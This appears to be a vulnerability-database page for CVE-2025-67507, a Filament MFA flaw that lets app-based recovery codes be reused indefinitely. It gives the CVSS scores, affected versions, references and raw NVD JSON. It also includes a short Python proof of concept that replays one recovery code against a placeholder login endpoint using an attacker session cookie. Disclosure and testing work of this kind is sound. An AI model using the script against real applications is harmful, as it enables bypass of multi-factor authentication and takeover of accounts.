Security Vulnerability Report
中文
CVE-2025-67507 CVSS 8.1 HIGH

CVE-2025-67507

Published: 2025-12-10 01:15:52
Last Modified: 2026-03-04 20:42:39

Description

Filament is a collection of full-stack components for accelerated Laravel development. Versions 4.0.0 through 4.3.0 contain a flaw in the handling of recovery codes for app-based multi-factor authentication, allowing the same recovery code to be reused indefinitely. This issue does not affect email-based MFA. It also only applies when recovery codes are enabled. This issue is fixed in version 4.3.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:filamentphp:filament:*:*:*:*:*:*:*:* - VULNERABLE
Filament >= 4.0.0
Filament < 4.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67507 PoC - Filament MFA Recovery Code Reuse # This PoC demonstrates that the same recovery code can be used multiple times import requests import json TARGET_URL = "https://vulnerable-app.com/filament/mfa/verify" ATTACKER_SESSION = "attacker_session_cookie" VALID_RECOVERY_CODE = "1234-5678-9012" def exploit_mfa_reuse(): """ Demonstrates the MFA recovery code reuse vulnerability The same recovery code can be used indefinitely without being invalidated """ headers = { "Cookie": f"session={ATTACKER_SESSION}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } payload = { "factor": "totp_recovery", "code": VALID_RECOVERY_CODE } print("[*] Attempting to exploit MFA recovery code reuse vulnerability") print(f"[*] Target: {TARGET_URL}") print(f"[*] Recovery code: {VALID_RECOVERY_CODE}") # Try using the same recovery code multiple times for attempt in range(1, 6): print(f"\n[*] Attempt {attempt}: Using recovery code...") response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: result = response.json() if result.get("success"): print(f"[+] Attempt {attempt}: SUCCESS - Authentication bypassed!") print(f"[+] Access granted with the same recovery code") print(f"[+] Response: {json.dumps(result, indent=2)}") else: print(f"[-] Attempt {attempt}: Failed - {result.get('message')}") else: print(f"[-] Attempt {attempt}: HTTP Error {response.status_code}") print("\n[!] Vulnerability confirmed: Same recovery code works multiple times") print("[!] The system fails to invalidate recovery codes after use") if __name__ == "__main__": exploit_mfa_reuse()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67507", "sourceIdentifier": "[email protected]", "published": "2025-12-10T01:15:52.463", "lastModified": "2026-03-04T20:42:39.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Filament is a collection of full-stack components for accelerated Laravel development. Versions 4.0.0 through 4.3.0 contain a flaw in the handling of recovery codes for app-based multi-factor authentication, allowing the same recovery code to be reused indefinitely. This issue does not affect email-based MFA. It also only applies when recovery codes are enabled. This issue is fixed in version 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filamentphp:filament:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.3.1", "matchCriteriaId": "E486FAC6-9D19-414A-817D-E5F17FD6869A"}]}]}], "references": [{"url": "https://github.com/filamentphp/filament/commit/87ff60ad9b6e16d4e14ee36a220b8917dd7b0815", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/filamentphp/filament/security/advisories/GHSA-pvcv-q3q7-266g", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}